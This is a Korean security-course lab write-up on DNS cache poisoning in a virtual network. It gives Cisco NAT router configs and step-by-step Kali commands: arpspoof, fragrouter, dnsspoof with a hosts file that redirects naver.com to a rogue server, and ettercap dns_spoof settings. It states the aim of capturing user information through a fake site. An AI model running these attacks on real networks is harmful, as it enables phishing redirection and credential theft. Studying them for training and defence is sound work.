본문 바로가기

NCS/시스템 보안 구축

DNS Cache Poisoning



 

 

 NAT 라우터 구성 

enable 
configure terminal 
hostname R1 
enable secret ciscosec 
username chris password chrispass 
interface FastEthernet0/0 
ip address 192.168.45.65 255.255.255.0 
ip nat outside 
no shutdown 

interface FastEthernet0/1 
ip address 10.10.10.254 255.255.255.0 
ip nat inside 
no shutdown 

ip route 0.0.0.0 0.0.0.0 FastEthernet0/0 192.168.45.254 

ip nat pool itbank 192.168.45.65 192.168.45.65 netmask 255.255.255.0 
ip nat inside source list 10 pool itbank overload 

access-list 10 permit 10.10.10.0 0.0.0.255 

line con 0 
exec-timeout 0 0 
privilege level 15 
logging synchronous 
login local 
line aux 0 
exec-timeout 0 0 
privilege level 15 
logging synchronous 
line vty 0 4 
login local 

end


실험 환경 

Role 

IP 

DNS 

OS 

Version 

VMnet 

Connect 

Attacker 

10.10.10.20/24 

8.8.8.8 

Kali 

2.0 

VMnet2 

Port1 / Ether SW 

Victim 1 

10.10.10.30/24 

10.10.10.50 

XP 

sp3 

VMnet3 

Port2 / Ether SW 

Victim 1 

10.10.10.40/24 

10.10.10.50 

 

CentOS 

6.7 

VMnet4 

Port3 / Ether SW 

Victim 1 

10.10.10.50/24 

10.10.10.50 

 

WIN2008 

R2 

VMnet5 

Port4 / Ether SW 

 

  1. 1. 칼리 리눅스에서 아래의 파일을 편집 또는 추가 한다. 

  2. 19,20 Line에 추가 


  3. 180,181라인의 주석을 해제 하거나 추가한다. 라우팅을 위해서


  4. 2. 아래의 파일을 편집 또는 추가한다. 


  1. 마지막 라인 이후에 추가한다. 

 

 

  1. 3. 공격자 시스템(Kali) 에서 Apache2 서버 시작 및 해킹 홈피 만들기 

 

 

 


  1. 4. 칼리 리눅스에서 스니핑 및 스프핑하기 


  2. 프로그램>Sniffing & Spoofing > ettercap-c 클릭 

  3. Ettercap 메뉴에서 sniff > Unified snkffing 클릭 


  4. 스니핑할 랜카드 선택 


  1. Hosts > Scan for hosts 클릭 

  2. Hosts > Hosts list 클릭 

  3. 10.10.10.50(DNS서버)선택 후 Add to Target1 선택 

  4. 10.10.10.254(Router GW)선택 후 Add to Target2 선택 

  5. Mitm > ARP poisioning 선택 


  6. Sniff remote connections 선택 


  1. Plugins > Manage the plugins 클릭 

Dns_spoof 더블클릭 

 

 

  1. 5. 윈도우 DNS서버 환경 

  2. 시작 > 관리도구 > DNS 관리자 선택 

  3. 서버이름 선택후 보기메뉴에서 고급선택 


  1. 캐시된 조회 선택후 동작메뉴에서 캐시 지우기 선택 


  1. 캐시가 지워진 모습 

 

 

  1. 7. 피해자 시스템에서 캐시 테이블 지우기 


  1. 웹 페이지 열기 


  1. 열린 모습 

 

 

  1. 8. DNS서버(2008R2)에서 캐쉬 확인하기 


  2. DNS관리자에서 캐쉬된 조회 새로고침 

  3. 포이즌된 모습 

 

 

 

=========================================================

DNS Cache Poisioning

=========================================================

 

DNS Cache Poisoning 절차

 

[그림출처]  인터넷 이용의 기반 DNS의 이해와 DNS 보안 - 한국인터넷진흥원

 

 피해 사례

 2011년 브라질에서 ISP를 대상으로 DNS 캐시 포이즈닝 공격을 시도
하여 약 3~4백만의 ISP 서비스 이용자가 G메일, 유투브, MS 핫메일 접속시 악성 프로그램 설치
프로그램 설치 웹사이트로 유도되는 사건이 발생하였다

 

 

4. 공격방법 

 

 

시나리오는 중간에서 attacker DNS Query 받아서 DNS Reply 날려준다. Client 접속하는 홈페이지를 demo server 만들어서 가상  서버로 접속하게 한후 사용자 정보를 얻어온다 


공격순서  

1)port listening  

2) forwarding (web server, backtrack에서도 가능) 

3) arp spoofing 

4) dns spoof  파일 생성 

5) dns spoof -f 파일명 

 

 

 GNS3 2.0.3 / i86bi-linux-l3-adventerprisek9-15.4.1T.bin / i86bi-linux-l2-adventerprisek9-15.2c.bin

 

 

 

 

 

 

 

실험 환경 

Role 

IP 

DNS 

OS 

Version 

VMnet 

Connect 

 WEB Client

10.1.4.1/24 

8.8.8.8 

WIN 7 

SP1 

 

 

 Attacker

10.1.4.2/24 

8.8.8.8 

Kali 

2.0 

 

 

Rogue

WEB Server

10.1.5.200/24 

8.8.8.8

WIN 2012

R2

 

 

 

 NAT Rotuer

enable
hostname NAT
!
enable secret ciscosec
!
no ip domain lookup
!
username root password 0 toor
!
interface Ethernet0/1
 ip address dhcp
 ip nat outside
 no shutdown
!
interface Ethernet0/2
 ip address 10.1.4.254 255.255.255.0
 ip nat inside
 no shutdown
!
interface Ethernet0/3
 ip address 10.1.5.254 255.255.255.0
 ip nat inside
 no shutdown
!
ip nat inside source list 1 interface Ethernet0/1 overload
!
access-list 1 permit 10.1.4.0 0.0.0.255
access-list 1 permit 10.1.5.0 0.0.0.255
!
end

 

 

WEB Client 

 

 

 

Rogue WEB Server 

 

 

 

Kali  IP address 

root@kali:~# ip addr add 10.1.4.2/24 dev eth0
root@kali:~# route add default gw 10.1.4.254

 

Kali - hosts  파일 생성 

 # cd /tmp

cat > /tmp/hosts

10.1.5.200  www.naver.com

10.1.5.200  naver.com

 

Kali - ARP Spoofing 

root@kali:~# nmap -Pn 10.1.4.0/24

 

root@kali:~# arpspoof -i eth0 -t 10.1.4.1 10.1.4.254

 

 Kali - New terminal - fragrouter  실행

 root@kali:~# fragrouter -B1

 

 

 Kali - New terminal - dnsspoofing  실행

 root@kali:~# dnsspoof -i eth0 -f /tmp/hosts

 

 

 5. 공격자 시스템(Kali) 에서 Apache2 서버 시작 및 해킹 홈피 만들기 

 

 

  


6. 피해자 시스템에서 캐시 테이블 지우기 


  1. 7. 웹 페이지 열기 


 

 Kali

 root@kali:/tmp# dnsspoof -i eth0 -f hosts
dnsspoof: listening on eth0 [udp dst port 53 and not src 10.1.4.2]
10.1.4.1.64376 > 8.8.8.8.53:  9996+ A? www.naver.com
10.1.4.1.64792 > 10.1.4.2.53:  2+ A? www.naver.com

 


=============================

Ettercap 을 이용한 DNS spoofing

=============================

/etc/ettercap/etter.conf 편집 

Do add two lines at privis section.

[privs]
#ec_uid = 65534                # nobody is the default
#ec_uid = 65534                # nobody is the default
ec_gid = 0              # nobody is the default
ec_gid = 0                # nobody is the default

Do remove hash marks.

# if you use iptables:
redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"
redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"

 Add hostname to ip

 root@kali:~# vi /etc/ettercap/etter.dns

 

naver.com       A       10.1.5.200
www.naver.com   A       10.1.5.200
*.naver.com     A       10.1.5.200

 

 Do execute the applicaton ettercap.

 

root@kali:~# ettercap -G

 

 

 

 Choose the interface for sniffing

 

 

 

 Do scan hosts in network

 

 

 Do show scanned hosts

 

 

 Do select follow numbers. Number 1,2 and 3,4

 

 

 Do execute an ARP spoofing

 

 

 Check optional parameters

 

 

 Select Manage the plugins in Plugins

 

 

 Double click the dns_snoof

 

 

 Web client(Victim) ; verify arp cache table

 

 

 Do flush host cache table

 

 

 

Connect naver site.

 

 

We can see the facked website.